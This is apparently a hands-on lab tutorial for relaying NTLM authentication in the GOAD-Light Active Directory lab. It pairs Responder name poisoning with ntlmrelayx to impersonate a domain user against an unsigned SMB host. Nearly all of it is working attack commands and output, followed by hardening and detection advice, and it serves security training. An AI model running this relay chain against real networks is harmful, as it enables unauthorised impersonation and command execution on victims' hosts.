NTLM Relay Attacks on Active Directory

You captured a NetNTLM response with Responder. Cracking it works when the password is weak. Relay is often faster: you forward that live authentication to another host and act as the victim without recovering the password.

This lesson chains two tools on GOAD-Light:

GOAD bots on winterfell query mistyped names such as Bravos. Responder tells them Kali is Bravos; the bot authenticates to ntlmrelayx; ntlmrelayx forwards that login to unsigned castelblack (10.10.10.22).

What is an NTLM relay attack?

In an NTLM relay, the attacker sits between the victim and a target service. The victim authenticates to the attacker; the attacker immediately reuses that authentication against a third host.

The flow differs from hash capture alone:

MITRE ATT&CK groups LLMNR/NBT-NS poisoning and SMB relay under T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay.

Relay is not pass-the-hash. Pass-the-hash replays a stored NT hash from disk or DCSync. Relay reuses a NetNTLM exchange the victim just performed. A Responder capture gives you a challenge-response, not a reusable NT hash for nxc -H.

Three conditions must line up for the SMB-to-SMB workflow in this lesson:

• A victim must authenticate to something you control (Kali's SMB listener on port 445).
• The relay target must accept NTLM authentication.
• For SMB relay, the target must not require SMB signing.

This lab gets victim authentication through LLMNR/NBT-NS poisoning. Other paths exist but are out of scope here:

• Authentication coercion (PrinterBug, PetitPotam, and similar) forces a host to authenticate without poisoning.
• LDAP / AD CS relay uses other ntlmrelayx modes with different prerequisites and impact.

This article stays with Responder poisoning plus SMB-to-SMB relay only.

Check SMB signing before NTLM relay

Windows blocks NTLM relay to SMB hosts that require signing. The attacker cannot complete a signed SMB session without the victim's NT hash.

Modern defaults are stricter than older lab images:

• Windows 11 24H2 and Windows Server 2025 push stronger SMB signing requirements.
• Unsigned member servers are less common than legacy relay tutorials suggest.
• Always scan the live environment. Do not assume SMB relay will work.

Scan SMB signing on your lab segment before you build a target list:

nxc smb 10.10.10.20-22

SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.21     445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB                      10.10.10.20     445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)

Read the signing: column:

• castelblack (10.10.10.22) shows signing:False — valid relay target in this lab.
• winterfell and kingslanding show signing:True — poor relay targets even though port 445 is open.

NetExec can write every unsigned host into a relay target file:

mkdir -p ~/relay-lab
nxc smb 10.10.10.22 --gen-relay-list ~/relay-lab/targets.txt

SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)

Confirm the file lists only hosts you intend to attack:

cat ~/relay-lab/targets.txt

10.10.10.22

One IP is enough for GOAD-Light. In a real assessment you might relay to several unsigned member servers or management jump boxes.

Disable Responder SMB and HTTP listeners

Responder and ntlmrelayx both want TCP 445 and TCP 80 on Kali. For relay:

• Responder poisons LLMNR, NBT-NS, and mDNS.
• ntlmrelayx owns SMB (445) and receives the victim authentication.

Turn off Responder's SMB and HTTP capture servers so the victim connects to ntlmrelayx instead.

Back up the config, then edit /etc/responder/Responder.conf:

sudo cp /etc/responder/Responder.conf /etc/responder/Responder.conf.bak-relay
sudo sed -i 's/^SMB      = On/SMB      = Off/' /etc/responder/Responder.conf
sudo sed -i 's/^HTTP     = On/HTTP     = Off/' /etc/responder/Responder.conf

Verify the poisoners stay on and the capture servers stay off:

grep -E '^(SMB|HTTP|LLMNR|NBTNS)' /etc/responder/Responder.conf

LLMNR = On
NBTNS = On
SMB      = Off
HTTP     = Off

Restore the backup when you finish relay testing so standalone Responder hash capture works again:

sudo cp /etc/responder/Responder.conf.bak-relay /etc/responder/Responder.conf

Start ntlmrelayx before Responder

Start ntlmrelayx in Terminal 1 first. It must bind port 445 before Responder starts.

Set the interface and target file once:

LAB_IF=eth1
RELAY_TARGETS=~/relay-lab/targets.txt
export LAB_IF RELAY_TARGETS

Launch the relay server with SMB2 support and a post-auth command to prove execution:

impacket-ntlmrelayx -tf "$RELAY_TARGETS" -smb2support -c whoami

Sample startup output:

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client SMB loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Multirelay enabled

[*] Servers started, waiting for connections

The Servers started, waiting for connections line means Kali is ready. Leave this terminal open.

If you see Address already in use, port 445 is still held by another process. Set SMB = Off in Responder.conf or stop a stale ntlmrelayx instance, then retry.

Run Responder for name poisoning

Open Terminal 2 on Kali. Terminal 1 keeps ntlmrelayx running.

Start poisoning on the lab interface:

sudo responder -I "$LAB_IF"

You do not trigger GOAD bots manually. Scheduled tasks on winterfell query mistyped hostnames every few minutes.

What to look for in Terminal 2:

• Poisoned answer sent ... Bravos — poisoning worked.
• Port errors on 5985, 5986, or 135 — expected when ntlmrelayx already owns those ports in Terminal 1.

[!] Error starting TCP server on port 5985, check permissions or other servers running.
[!] Error starting SSL server on port 135, check permissions or other servers running.
[*] [NBT-NS] Poisoned answer sent to 10.10.10.21 for name BRAVOS (service: File Server)
[*] [MDNS]   Poisoned answer sent to 10.10.10.21 for name Bravos.local
[*] [LLMNR]  Poisoned answer sent to 10.10.10.21 for name Bravos

The victim resolves Bravos to Kali's IP and opens SMB to ntlmrelayx on port 445. Responder does not capture the hash in relay mode.

Interpret relay output and next steps

Switch to Terminal 1 when a bot connects. Confirm ntlmrelayx is still running:

pgrep -af ntlmrelayx

In the same Terminal 1 window, the relay console prints lines like these:

# pgrep -af ntlmrelayx
2407273 python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf /root/relay-lab/targets.txt -smb2support -c whoami

# ntlmrelayx console (Terminal 1)
[*] (SMB): Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
[*] (SMB): Connection from NORTH/ROBB.STARK@10.10.10.21 controlled, attacking target smb://10.10.10.22
[*] (SMB): Authenticating connection from NORTH/ROBB.STARK@10.10.10.21 against smb://10.10.10.22 SUCCEED [1]
[*] (SMB): Connection from NORTH/ROBB.STARK@10.10.10.21 controlled, but there are no more targets left!
[-] smb://NORTH/ROBB.STARK@10.10.10.22 [1] -> DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

Read the output in two parts:

• SUCCEED — relay authentication worked. Record NORTH\robb.stark relayed to castelblack.
• access_denied — the bundled whoami command failed. robb.stark is not local admin on castelblack.

Relay success and command execution are separate outcomes. access_denied does not undo the SUCCEED line.

Optional post-relay flags:

After the first successful relay, you may see no more targets left. The target file listed only one host and multirelay consumed it. Re-run --gen-relay-list before the next attempt.

If the victim account is local admin on the relay target, -c whoami returns the username instead of access_denied.

Troubleshooting

Detection and hardening

Defenders break the relay chain at several points:

• Disable LLMNR and NBT-NS through GPO where legacy apps allow it
• Require SMB signing on every Windows host (RequireSecuritySignature)
• Enable EPA on web and LDAP services that accept NTLM
• Monitor for anomaly Event IDs such as 4624 logons with unusual Logon Process values and 7045 service installs after relayed admin sessions

Pen testers should note which hosts still show signing:False in the report — that is a direct remediation item.

Summary

NTLM relay forwards a victim's live NetNTLM authentication to a third host instead of cracking the response offline. On GOAD-Light, Terminal 2 poisons names with Responder while Terminal 1 relays auth with ntlmrelayx.

The workflow is deliberate:

1. Scan for signing:False targets with nxc smb.
2. Disable Responder SMB and HTTP in Responder.conf.
3. Start ntlmrelayx in Terminal 1.
4. Start sudo responder -I eth1 in Terminal 2.
5. Wait for GOAD bots and read SUCCEED in Terminal 1.

rpc_s_access_denied after SUCCEED still proves relay authentication worked. Restore Responder.conf when you return to standalone hash capture, and report unsigned SMB on member servers as a finding.

References

• MITRE ATT&CK T1557.001 — LLMNR/NBT-NS Poisoning and SMB Relay
• Microsoft — SMB signing overview
• Impacket ntlmrelayx.py (Fortra GitHub)
• Responder (lgandx GitHub)